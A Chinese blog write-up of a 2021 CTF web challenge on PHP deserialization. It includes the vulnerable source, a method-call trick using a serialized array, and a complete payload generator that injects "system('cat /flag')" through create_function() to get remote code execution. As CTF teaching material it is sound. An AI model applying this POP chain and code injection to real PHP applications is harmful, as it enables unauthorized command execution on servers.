【2021赣网杯web(一)】gwb-web-easypop

源码分析

 <?php
error_reporting(0);
highlight_file(__FILE__);
$pwd=getcwd();
class func
{
        public $mod1;
        public $mod2;
         public $key;
        public function __destruct()
        {        
                unserialize($this->key)();
                $this->mod2 = "welcome ".$this->mod1;           
        } 
}

class GetFlag
{        public $code;
         public $action;
        public function get_flag(){
            $a=$this->action;
            $a('', $this->code);
        }
}

unserialize($_GET[0]);

?>

一看到题,我对于unserialize($this->key)() 有点懵。在想对象反序列化后,这样怎么调用???或者入伏哦是对象当函数使用,又没有__invoke()之类的,会不会与内部类有关,但似乎都没解决办法。

后面一想,php弱类型语言,如果这个是我想要的函数字符串就好了,第一反应就想起来,序列化还可以对其他基本类型进行操作。。。gan,感觉刷题有点刷懵了,每次都是直接找对象来进行反序列化利用。这个地方直接序列化一个字符串不久ok了。于是直接去试了

?0=O:4:"func":3:

这里的主要部分就是后面的phpinfo字符串,序列化后又成为一个字符串,再加上一个(),完成phpinfo函数的调用

image

事实证明确实可以成功执行!!!这时候再回到题上来

很明显,这里就是要调用GetFlag::get_flag函数。如果这里反序列化一个类,他返回的是一个类,并不能形成$getFlag->get_flag()进行调用。

傻乎乎的竟然还是尝试了直接把它当作一个字符串,妄想达成目的,但事实说明,php真的就只会把他当作一个字符串进行调用。。。行动失败

后面来个一个小trick
类内的方法调用可以通过 [类,方法名]() 进行方法上的一个调用

前面可以看作一个数组,当反序列化成一个数组后,不久可以达成调用了吗。
image

所以这样是可以操作的。于是就可以开始构造一个payload用于完成get_flag()方法的调用了

可以看到最后其实就是指定一个函数,且需要满足 $code("",$action);
后面直接利用create_function注入,(不知道为什么可以就想到是create_function函数,那么多函数。。)

This function internally performs an eval() and as such has the same security issues as eval(). Additionally it has bad performance and memory usage characteristics.

create_function()会创建一个匿名函数(lambda_样式)函数名是以lambda开头的一个自增的函数名,貌似当初做了一个关于爆破该函数的匿名函数名进行RCE的漏洞

create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);'); //返回lambda_1
//等效于
function lambda_1($a,$b){
    return "ln($a) + ln($b) = " . log($a * $b);
}

它的原理就是将 参数传递进去,形成一个合法的字符串或者叫方法体,再通过Eval执行该字符串。由于是字符串拼接,自然也逃不了代码注入的缺陷!!!

它的构造流程就相当于

 function lambda_xxx(){
 	//传入的方法体及相关参数
 }

再对方法体执行eval操作,当传入的方法体可控时,便可能触发RCE

<?php
error_reporting(0);
// highlight_file(__FILE__);
$pwd = getcwd();
class func
{
    public $mod1;
    public $mod2;
    public $key;
    public function __construct()
    {
        $this->key = serialize([new GetFlag(), "get_flag"]);
    }
}

class GetFlag
{
    public $code;
    public $action;
    public function __construct()
    {
        $this->code = ";}system('cat /flag');//";
        $this->action = "create_function";
    }
}

$a = new func();
echo urlencode(serialize($a));

成功拿到flag

不理解为什么code里要先闭合原来的函数,本地复现不用闭合也可以实现啊???疑惑

google大法好啊!!!
终于找到原因了

醍醐灌顶之文

该函数的底层实现》》》

》 function \0lambda_%d( function_args ) { function_code } \0

所以看传进去的位置,从而完成不同的注入

posted @ 2021-12-06 22:49  Aur0ra*  阅读(163)  评论(0编辑  收藏  举报